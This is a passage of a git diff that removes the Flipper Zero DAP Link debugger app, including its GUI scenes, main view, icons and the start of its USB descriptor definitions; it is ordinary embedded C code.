/dev/null @@ -1,30 +0,0 @@ -#include "dap_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const dap_scene_on_enter_handlers[])(void*) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const dap_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const dap_scene_on_exit_handlers[])(void* context) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers dap_scene_handlers = { - .on_enter_handlers = dap_scene_on_enter_handlers, - .on_event_handlers = dap_scene_on_event_handlers, - .on_exit_handlers = dap_scene_on_exit_handlers, - .scene_num = DapSceneNum, -}; diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene.h b/applications/external/dap_link/gui/scenes/config/dap_scene.h deleted file mode 100644 index 6fb38da4a..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) DapScene##id, -typedef enum { -#include "dap_scene_config.h" - DapSceneNum, -} DapScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers dap_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "dap_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "dap_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "dap_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h deleted file mode 100644 index 8957aca06..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene_config.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(dap, main, Main) -ADD_SCENE(dap, config, Config) -ADD_SCENE(dap, help, Help) -ADD_SCENE(dap, about, About) \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_about.c b/applications/external/dap_link/gui/scenes/dap_scene_about.c deleted file mode 100644 index 0974e60a7..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_about.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "../dap_gui_i.h" - -#define DAP_VERSION_APP "0.1.0" -#define DAP_DEVELOPED "Dr_Zlo" -#define DAP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -void dap_scene_about_on_enter(void* context) { - DapGuiApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", DAP_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", DAP_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", DAP_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, "CMSIS-DAP debugger\nbased on Free-DAP\nThanks to Alex Taradov\n\n"); - - furi_string_cat_printf( - temp_str, - "Supported protocols:\n" - "SWD, JTAG, UART\n" - "DAP v1 (cmsis_backend hid), DAP v2 (cmsis_backend usb_bulk), VCP\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! DAP Link \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewWidget); -} - -bool dap_scene_about_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void dap_scene_about_on_exit(void* context) { - DapGuiApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c deleted file mode 100644 index 48d5fedcd..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_config.c +++ /dev/null @@ -1,107 +0,0 @@ -#include "../dap_gui_i.h" - -static const char* swd_pins[] = {[DapSwdPinsPA7PA6] = "2,3", [DapSwdPinsPA14PA13] = "10,12"}; -static const char* uart_pins[] = {[DapUartTypeUSART1] = "13,14", [DapUartTypeLPUART1] = "15,16"}; -static const char* uart_swap[] = {[DapUartTXRXNormal] = "No", [DapUartTXRXSwap] = "Yes"}; - -static void swd_pins_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, swd_pins[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->swd_pins = index; - dap_app_set_config(app->dap_app, config); -} - -static void uart_pins_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, uart_pins[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->uart_pins = index; - dap_app_set_config(app->dap_app, config); -} - -static void uart_swap_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, uart_swap[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->uart_swap = index; - dap_app_set_config(app->dap_app, config); -} - -static void ok_cb(void* context, uint32_t index) { - DapGuiApp* app = context; - switch(index) { - case 3: - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventHelp); - break; - case 4: - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventAbout); - break; - default: - break; - } -} - -void dap_scene_config_on_enter(void* context) { - DapGuiApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - DapConfig* config = dap_app_get_config(app->dap_app); - - item = variable_item_list_add( - var_item_list, "SWC SWD Pins", COUNT_OF(swd_pins), swd_pins_cb, app); - variable_item_set_current_value_index(item, config->swd_pins); - variable_item_set_current_value_text(item, swd_pins[config->swd_pins]); - - item = - variable_item_list_add(var_item_list, "UART Pins", COUNT_OF(uart_pins), uart_pins_cb, app); - variable_item_set_current_value_index(item, config->uart_pins); - variable_item_set_current_value_text(item, uart_pins[config->uart_pins]); - - item = variable_item_list_add( - var_item_list, "Swap TX RX", COUNT_OF(uart_swap), uart_swap_cb, app); - variable_item_set_current_value_index(item, config->uart_swap); - variable_item_set_current_value_text(item, uart_swap[config->uart_swap]); - - variable_item_list_add(var_item_list, "Help and Pinout", 0, NULL, NULL); - variable_item_list_add(var_item_list, "About", 0, NULL, NULL); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, DapSceneConfig)); - - variable_item_list_set_enter_callback(var_item_list, ok_cb, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewVarItemList); -} - -bool dap_scene_config_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DapAppCustomEventHelp) { - scene_manager_next_scene(app->scene_manager, DapSceneHelp); - return true; - } else if(event.event == DapAppCustomEventAbout) { - scene_manager_next_scene(app->scene_manager, DapSceneAbout); - return true; - } - } - return false; -} - -void dap_scene_config_on_exit(void* context) { - DapGuiApp* app = context; - scene_manager_set_scene_state( - app->scene_manager, - DapSceneConfig, - variable_item_list_get_selected_item_index(app->var_item_list)); - variable_item_list_reset(app->var_item_list); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c deleted file mode 100644 index d8d70e7ff..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_help.c +++ /dev/null @@ -1,102 +0,0 @@ -#include "../dap_gui_i.h" - -void dap_scene_help_on_enter(void* context) { - DapGuiApp* app = context; - DapConfig* config = dap_app_get_config(app->dap_app); - FuriString* string = furi_string_alloc(); - - furi_string_cat(string, "CMSIS DAP/DAP Link v2\r\n"); - furi_string_cat_printf(string, "Serial: %s\r\n", dap_app_get_serial(app->dap_app)); - furi_string_cat( - string, - "Pinout:\r\n" - "\e#SWD:\r\n"); - - switch(config->swd_pins) { - case DapSwdPinsPA7PA6: - furi_string_cat( - string, - " SWC: 2 [A7]\r\n" - " SWD: 3 [A6]\r\n"); - break; - case DapSwdPinsPA14PA13: - furi_string_cat( - string, - " SWC: 10 [SWC]\r\n" - " SWD: 12 [SIO]\r\n"); - break; - default: - break; - } - - furi_string_cat(string, "\e#JTAG:\r\n"); - switch(config->swd_pins) { - case DapSwdPinsPA7PA6: - furi_string_cat( - string, - " TCK: 2 [A7]\r\n" - " TMS: 3 [A6]\r\n" - " RST: 4 [A4]\r\n" - " TDO: 5 [B3]\r\n" - " TDI: 6 [B2]\r\n"); - break; - case DapSwdPinsPA14PA13: - furi_string_cat( - string, - " RST: 4 [A4]\r\n" - " TDO: 5 [B3]\r\n" - " TDI: 6 [B2]\r\n" - " TCK: 10 [SWC]\r\n" - " TMS: 12 [SIO]\r\n"); - break; - default: - break; - } - - furi_string_cat(string, "\e#UART:\r\n"); - switch(config->uart_pins) { - case DapUartTypeUSART1: - if(config->uart_swap == DapUartTXRXNormal) { - furi_string_cat( - string, - " TX: 13 [TX]\r\n" - " RX: 14 [RX]\r\n"); - } else { - furi_string_cat( - string, - " RX: 13 [TX]\r\n" - " TX: 14 [RX]\r\n"); - } - break; - case DapUartTypeLPUART1: - if(config->uart_swap == DapUartTXRXNormal) { - furi_string_cat( - string, - " TX: 15 [C1]\r\n" - " RX: 16 [C0]\r\n"); - } else { - furi_string_cat( - string, - " RX: 15 [C1]\r\n" - " TX: 16 [C0]\r\n"); - } - break; - default: - break; - } - - widget_add_text_scroll_element(app->widget, 0, 0, 128, 64, furi_string_get_cstr(string)); - furi_string_free(string); - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewWidget); -} - -bool dap_scene_help_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void dap_scene_help_on_exit(void* context) { - DapGuiApp* app = context; - widget_reset(app->widget); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c deleted file mode 100644 index 8c19bd6a5..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_main.c +++ /dev/null @@ -1,154 +0,0 @@ -#include "../dap_gui_i.h" -#include "../../dap_link.h" - -typedef struct { - DapState dap_state; - bool dap_active; - bool tx_active; - bool rx_active; -} DapSceneMainState; - -static bool process_dap_state(DapGuiApp* app) { - DapSceneMainState* state = - (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); - if(state == NULL) return true; - - DapState* prev_state = &state->dap_state; - DapState next_state; - dap_app_get_state(app->dap_app, &next_state); - bool need_to_update = false; - - if(prev_state->dap_mode != next_state.dap_mode) { - switch(next_state.dap_mode) { - case DapModeDisconnected: - dap_main_view_set_mode(app->main_view, DapMainViewModeDisconnected); - notification_message(app->notifications, &sequence_blink_stop); - break; - case DapModeSWD: - dap_main_view_set_mode(app->main_view, DapMainViewModeSWD); - notification_message(app->notifications, &sequence_blink_start_blue); - break; - case DapModeJTAG: - dap_main_view_set_mode(app->main_view, DapMainViewModeJTAG); - notification_message(app->notifications, &sequence_blink_start_magenta); - break; - } - need_to_update = true; - } - - if(prev_state->dap_version != next_state.dap_version) { - switch(next_state.dap_version) { - case DapVersionUnknown: - dap_main_view_set_version(app->main_view, DapMainViewVersionUnknown); - break; - case DapVersionV1: - dap_main_view_set_version(app->main_view, DapMainViewVersionV1); - break; - case DapVersionV2: - dap_main_view_set_version(app->main_view, DapMainViewVersionV2); - break; - } - need_to_update = true; - } - - if(prev_state->usb_connected != next_state.usb_connected) { - dap_main_view_set_usb_connected(app->main_view, next_state.usb_connected); - need_to_update = true; - } - - if(prev_state->dap_counter != next_state.dap_counter) { - if(!state->dap_active) { - state->dap_active = true; - dap_main_view_set_dap(app->main_view, state->dap_active); - need_to_update = true; - } - } else { - if(state->dap_active) { - state->dap_active = false; - dap_main_view_set_dap(app->main_view, state->dap_active); - need_to_update = true; - } - } - - if(prev_state->cdc_baudrate != next_state.cdc_baudrate) { - dap_main_view_set_baudrate(app->main_view, next_state.cdc_baudrate); - need_to_update = true; - } - - if(prev_state->cdc_tx_counter != next_state.cdc_tx_counter) { - if(!state->tx_active) { - state->tx_active = true; - dap_main_view_set_tx(app->main_view, state->tx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_start_red); - } - } else { - if(state->tx_active) { - state->tx_active = false; - dap_main_view_set_tx(app->main_view, state->tx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_stop); - } - } - - if(prev_state->cdc_rx_counter != next_state.cdc_rx_counter) { - if(!state->rx_active) { - state->rx_active = true; - dap_main_view_set_rx(app->main_view, state->rx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_start_green); - } - } else { - if(state->rx_active) { - state->rx_active = false; - dap_main_view_set_rx(app->main_view, state->rx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_stop); - } - } - - if(need_to_update) { - dap_main_view_update(app->main_view); - } - - *prev_state = next_state; - return true; -} - -static void dap_scene_main_on_left(void* context) { - DapGuiApp* app = (DapGuiApp*)context; - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventConfig); -} - -void dap_scene_main_on_enter(void* context) { - DapGuiApp* app = context; - DapSceneMainState* state = malloc(sizeof(DapSceneMainState)); - dap_main_view_set_left_callback(app->main_view, dap_scene_main_on_left, app); - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewMainView); - scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)state); -} - -bool dap_scene_main_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DapAppCustomEventConfig) { - scene_manager_next_scene(app->scene_manager, DapSceneConfig); - return true; - } - } else if(event.type == SceneManagerEventTypeTick) { - return process_dap_state(app); - } - - return false; -} - -void dap_scene_main_on_exit(void* context) { - DapGuiApp* app = context; - DapSceneMainState* state = - (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); - scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)NULL); - FURI_SW_MEMBARRIER(); - free(state); - notification_message(app->notifications, &sequence_blink_stop); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c deleted file mode 100644 index f54c5e3d5..000000000 --- a/applications/external/dap_link/gui/views/dap_main_view.c +++ /dev/null @@ -1,189 +0,0 @@ -#include "dap_main_view.h" -#include "dap_link_icons.h" -#include - -// extern const Icon I_ArrowDownEmpty_12x18; -// extern const Icon I_ArrowDownFilled_12x18; -// extern const Icon I_ArrowUpEmpty_12x18; -// extern const Icon I_ArrowUpFilled_12x18; - -struct DapMainView { - View* view; - DapMainViewButtonCallback cb_left; - void* cb_context; -}; - -typedef struct { - DapMainViewMode mode; - DapMainViewVersion version; - bool usb_connected; - uint32_t baudrate; - bool dap_active; - bool tx_active; - bool rx_active; -} DapMainViewModel; - -static void dap_main_view_draw_callback(Canvas* canvas, void* _model) { - DapMainViewModel* model = _model; - UNUSED(model); - canvas_clear(canvas); - elements_button_left(canvas, "Config"); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0, 127, 11); - canvas_set_color(canvas, ColorWhite); - - const char* header_string; - if(model->usb_connected) { - if(model->version == DapMainViewVersionV1) { - header_string = "DAP Link V1 Connected"; - } else if(model->version == DapMainViewVersionV2) { - header_string = "DAP Link V2 Connected"; - } else { - header_string = "DAP Link Connected"; - } - } else { - header_string = "DAP Link"; - } - - canvas_draw_str_aligned(canvas, 64, 9, AlignCenter, AlignBottom, header_string); - - canvas_set_color(canvas, ColorBlack); - if(model->dap_active) { - canvas_draw_icon(canvas, 14, 16, &I_ArrowUpFilled_12x18); - canvas_draw_icon_ex(canvas, 28, 16, &I_ArrowUpFilled_12x18, IconRotation180); - } else { - canvas_draw_icon(canvas, 14, 16, &I_ArrowUpEmpty_12x18); - canvas_draw_icon_ex(canvas, 28, 16, &I_ArrowUpEmpty_12x18, IconRotation180); - } - - switch(model->mode) { - case DapMainViewModeDisconnected: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "----"); - break; - case DapMainViewModeSWD: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "SWD"); - break; - case DapMainViewModeJTAG: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "JTAG"); - break; - } - - if(model->tx_active) { - canvas_draw_icon(canvas, 87, 16, &I_ArrowUpFilled_12x18); - } else { - canvas_draw_icon(canvas, 87, 16, &I_ArrowUpEmpty_12x18); - } - - if(model->rx_active) { - canvas_draw_icon_ex(canvas, 101, 16, &I_ArrowUpFilled_12x18, IconRotation180); - } else { - canvas_draw_icon_ex(canvas, 101, 16, &I_ArrowUpEmpty_12x18, IconRotation180); - } - - canvas_draw_str_aligned(canvas, 100, 38, AlignCenter, AlignTop, "UART"); - - canvas_draw_line(canvas, 44, 52, 123, 52); - if(model->baudrate == 0) { - canvas_draw_str(canvas, 45, 62, "Baud: ????"); - } else { - char baudrate_str[18]; - snprintf(baudrate_str, 18, "Baud: %lu", model->baudrate); - canvas_draw_str(canvas, 45, 62, baudrate_str); - } -} - -static bool dap_main_view_input_callback(InputEvent* event, void* context) { - furi_assert(context); - DapMainView* dap_main_view = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyLeft) { - if(dap_main_view->cb_left) { - dap_main_view->cb_left(dap_main_view->cb_context); - } - consumed = true; - } - } - - return consumed; -} - -DapMainView* dap_main_view_alloc() { - DapMainView* dap_main_view = malloc(sizeof(DapMainView)); - - dap_main_view->view = view_alloc(); - view_allocate_model(dap_main_view->view, ViewModelTypeLocking, sizeof(DapMainViewModel)); - view_set_context(dap_main_view->view, dap_main_view); - view_set_draw_callback(dap_main_view->view, dap_main_view_draw_callback); - view_set_input_callback(dap_main_view->view, dap_main_view_input_callback); - return dap_main_view; -} - -void dap_main_view_free(DapMainView* dap_main_view) { - view_free(dap_main_view->view); - free(dap_main_view); -} - -View* dap_main_view_get_view(DapMainView* dap_main_view) { - return dap_main_view->view; -} - -void dap_main_view_set_left_callback( - DapMainView* dap_main_view, - DapMainViewButtonCallback callback, - void* context) { - with_view_model( - dap_main_view->view, - DapMainViewModel * model, - { - UNUSED(model); - dap_main_view->cb_left = callback; - dap_main_view->cb_context = context; - }, - true); -} - -void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->mode = mode; }, false); -} - -void dap_main_view_set_dap(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->dap_active = active; }, false); -} - -void dap_main_view_set_tx(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->tx_active = active; }, false); -} - -void dap_main_view_set_rx(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->rx_active = active; }, false); -} - -void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->baudrate = baudrate; }, false); -} - -void dap_main_view_update(DapMainView* dap_main_view) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { UNUSED(model); }, true); -} - -void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->version = version; }, false); -} - -void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected) { - with_view_model( - dap_main_view->view, - DapMainViewModel * model, - { model->usb_connected = connected; }, - false); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.h b/applications/external/dap_link/gui/views/dap_main_view.h deleted file mode 100644 index 1fd900452..000000000 --- a/applications/external/dap_link/gui/views/dap_main_view.h +++ /dev/null @@ -1,45 +0,0 @@ -#pragma once -#include - -typedef struct DapMainView DapMainView; - -typedef void (*DapMainViewButtonCallback)(void* context); - -typedef enum { - DapMainViewVersionUnknown, - DapMainViewVersionV1, - DapMainViewVersionV2, -} DapMainViewVersion; - -typedef enum { - DapMainViewModeDisconnected, - DapMainViewModeSWD, - DapMainViewModeJTAG, -} DapMainViewMode; - -DapMainView* dap_main_view_alloc(); - -void dap_main_view_free(DapMainView* dap_main_view); - -View* dap_main_view_get_view(DapMainView* dap_main_view); - -void dap_main_view_set_left_callback( - DapMainView* dap_main_view, - DapMainViewButtonCallback callback, - void* context); - -void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode); - -void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version); - -void dap_main_view_set_dap(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_tx(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_rx(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected); - -void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate); - -void dap_main_view_update(DapMainView* dap_main_view); \ No newline at end of file diff --git a/applications/external/dap_link/icons/ActiveConnection_50x64.png b/applications/external/dap_link/icons/ActiveConnection_50x64.png deleted file mode 100644 index 1d7686ddd..000000000 Binary files a/applications/external/dap_link/icons/ActiveConnection_50x64.png and /dev/null differ diff --git a/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png b/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png deleted file mode 100644 index c9365a67d..000000000 Binary files a/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png and /dev/null differ diff --git a/applications/external/dap_link/icons/ArrowUpFilled_12x18.png b/applications/external/dap_link/icons/ArrowUpFilled_12x18.png deleted file mode 100644 index dc481517e..000000000 Binary files a/applications/external/dap_link/icons/ArrowUpFilled_12x18.png and /dev/null differ diff --git a/applications/external/dap_link/lib/free-dap b/applications/external/dap_link/lib/free-dap deleted file mode 160000 index e7752beb5..000000000 --- a/applications/external/dap_link/lib/free-dap +++ /dev/null @@ -1 +0,0 @@ -Subproject commit e7752beb5e8a69119af67b70b9179cb3c90f3ac5 diff --git a/applications/external/dap_link/usb/dap_v2_usb.c b/applications/external/dap_link/usb/dap_v2_usb.c deleted file mode 100644 index cba786648..000000000 --- a/applications/external/dap_link/usb/dap_v2_usb.c +++ /dev/null @@ -1,977 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include "dap_v2_usb.h" - -// #define DAP_USB_LOG - -#define HID_EP_IN 0x80 -#define HID_EP_OUT 0x00 - -#define DAP_HID_EP_SEND 1 -#define DAP_HID_EP_RECV 2 -#define DAP_HID_EP_BULK_RECV 3 -#define DAP_HID_EP_BULK_SEND 4 -#define DAP_CDC_EP_COMM 5 -#define DAP_CDC_EP_SEND 6 -#define DAP_CDC_EP_RECV 7 - -#define DAP_HID_EP_IN (HID_EP_IN | DAP_HID_EP_SEND) -#define DAP_HID_EP_OUT (HID_EP_OUT | DAP_HID_EP_RECV) -#define DAP_HID_EP_BULK_IN (HID_EP_IN | DAP_HID_EP_BULK_SEND) -#define DAP_HID_EP_BULK_OUT (HID_EP_OUT | DAP_HID_EP_BULK_RECV) - -#define DAP_HID_EP_SIZE 64 -#define DAP_CDC_COMM_EP_SIZE 8 -#define DAP_CDC_EP_SIZE 64 - -#define DAP_BULK_INTERVAL 0 -#define DAP_HID_INTERVAL 1 -#define DAP_CDC_INTERVAL 0 -#define DAP_CDC_COMM_INTERVAL 1 - -#define DAP_HID_VID 0x0483 -#define DAP_HID_PID 0x5740 - -#define DAP_USB_EP0_SIZE 8 - -#define EP_CFG_DECONFIGURE 0 -#define EP_CFG_CONFIGURE 1 - -enum { - USB_INTF_HID, - USB_INTF_BULK, - USB_INTF_CDC_COMM, - USB_INTF_CDC_DATA, - USB_INTF_COUNT, -}; - -enum { - USB_STR_ZERO, - USB_STR_MANUFACTURER, - USB_STR_PRODUCT, - USB_STR_SERIAL_NUMBER, - USB_STR_CMSIS_DAP_V1, - USB_STR_CMSIS_DAP_V2, - USB_STR_COM_PORT, - USB_STR_COUNT, -}; - -// static const char* usb_str[] = { -// [USB_STR_MANUFACTURER] = "Flipper Devices Inc.", -// [USB_STR_PRODUCT] = "Combined VCP and CMSIS-DAP Adapter", -// [USB_STR_COM_PORT] = "Virtual COM-Port", -// [USB_STR_CMSIS_DAP_V1] = "CMSIS-DAP v1 Adapter", -// [USB_STR_CMSIS_DAP_V2] = "CMSIS-DAP v2 Adapter", -// [USB_STR_SERIAL_NUMBER] = "01234567890ABCDEF", -// }; - -static const struct usb_string_descriptor dev_manuf_descr = - USB_STRING_DESC("Flipper Devices Inc."); - -static const struct usb_string_descriptor dev_prod_descr = - USB_STRING_DESC("Combined VCP and CMSIS-DAP Adapter"); - -static struct usb_string_descriptor* dev_serial_descr = NULL; - -static const struct usb_string_descriptor dev_dap_v1_descr = - USB_STRING_DESC("CMSIS-DAP v1 Adapter"); - -static const struct usb_string_descriptor dev_dap_v2_descr = - USB_STRING_DESC("CMSIS-DAP v2 Adapter"); - -static const struct usb_string_descriptor dev_com_descr = USB_STRING_DESC("Virtual COM-Port"); - -struct HidConfigDescriptor { - struct usb_config_descriptor configuration; - - // CMSIS-DAP v1 - struct usb_interface_descriptor hid_interface; - struct usb_hid_descriptor hid; - struct usb_endpoint_descriptor hid_ep_in; - struct usb_endpoint_descriptor hid_ep_out; - - // CMSIS-DAP v2 - struct usb_interface_descriptor bulk_interface; - struct usb_endpoint_descriptor bulk_ep_out; - struct usb_endpoint_descriptor bulk_ep_in; - - // CDC - struct usb_iad_descriptor iad; - struct usb_interface_descriptor interface_comm; - struct usb_cdc_header_desc cdc_header; - struct usb_cdc_call_mgmt_desc cdc_acm; - struct usb_cdc_acm_desc cdc_call_mgmt; - struct usb_cdc_union_desc cdc_union; - struct usb_endpoint_descriptor ep_comm; - struct usb_interface_descriptor interface_data; - struct usb_endpoint_descriptor ep_in; - struct usb_endpoint_descriptor ep_out; - -} __attribute__((packed)); - -static const struct usb_device_descriptor hid_device_desc = { - .bLength = sizeof(struct usb_device_descriptor), - .bDescriptorType = USB_DTYPE_DEVICE, - .bcdUSB = VERSION_BCD(2, 1, 0), - .bDeviceClass = USB_CLASS_MISC, - .bDeviceSubClass = USB_SUBCLASS_IAD, - .bDeviceProtocol = USB_PROTO_IAD, - .bMaxPacketSize0 = DAP_USB_EP0_SIZE, - .idVendor = DAP_HID_VID, - .idProduct = DAP_HID_PID, - .bcdDevice = VERSION_BCD(1, 0, 0), - .iManufacturer = USB_STR_MANUFACTURER, - .iProduct = USB_STR_PRODUCT, - .iSerialNumber = USB_STR_SERIAL_NUMBER, - .bNumConfigurations = 1, -}; - -static const uint8_t hid_report_desc[] = { - 0x05, 0x01, // Usage Page (Generic Desktop Ctrls) - 0x09, 0x00, // Usage (Undefined) - 0xa1, 0x01, // Collection (Application) - 0x15, 0x00, // Logical Minimum (0) - 0x26, 0xff, 0x00, // Logical Maximum (255) - 0x75, 0x08, // Report Size (8) - 0x95, 0x40, // Report Count (64) - 0x09, 0x00, // Usage (Undefined) - 0x81, 0x82, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) - 0x75, 0x08, // Report Size (8) - 0x95, 0x40, // Report Count (64) - 0x09, 0x00, // Usage (Undefined) - 0x91, 0x82, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Volatile) - 0xc0, // End Collection -}; - -static const struct HidConfigDescriptor hid_cfg_desc = { - .configuration = - { - .bLength = sizeof(struct usb_config_descriptor), - .bDescriptorType = USB_DTYPE_CONFIGURATION, - .wTotalLength = sizeof(struct HidConfigDescriptor), - .bNumInterfaces = USB_INTF_COUNT, - .bConfigurationValue = 1, - .iConfiguration = NO_DESCRIPTOR, - .bmAttributes = USB_CFG_ATTR_RESERVED, - .bMaxPower = USB_CFG_POWER_MA(500), - }, - - // CMSIS-DAP v1 - .hid_interface = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_HID, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_HID, - .bInterfaceSubClass = USB_HID_SUBCLASS_NONBOOT, - .bInterfaceProtocol = USB_HID_PROTO_NONBOOT, - .iInterface = USB_STR_CMSIS_DAP_V1, - }, - - .hid = - { - .bLength = sizeof(struct usb_hid_descriptor), - .bDescriptorType = USB_DTYPE_HID, - .bcdHID = VERSION_BCD(1, 1, 1), - .bCountryCode = USB_HID_COUNTRY_NONE, - .bNumDescriptors = 1, - .bDescriptorType0 = USB_DTYPE_HID_REPORT, - .wDescriptorLength0 = sizeof(hid_report_desc), - }, - - .hid_ep_in = - { - .bLength = 